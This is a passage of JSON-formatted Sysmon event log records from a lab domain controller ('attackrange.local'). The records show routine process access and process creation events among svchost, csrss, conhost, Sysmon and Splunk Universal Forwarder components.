11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5951,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5952,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5953,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5954,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41B0-5F2D-0000-0010F6E50800}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41B0-5F2D-0000-0010F6E50800}","TargetProcessId":"2900","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5955,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nProcessGuid: {90617006-41B1-5F2D-0000-0010A0E70800}\r\nProcessId: 1392\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","ProcessGuid":"{90617006-41B1-5F2D-0000-0010A0E70800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5956,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41B1-5F2D-0000-0010A0E70800}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41B1-5F2D-0000-0010A0E70800}","TargetProcessId":"1392","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5957,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41B1-5F2D-0000-0010A0E70800}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41B1-5F2D-0000-0010A0E70800}","TargetProcessId":"1392","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5958,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5959,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 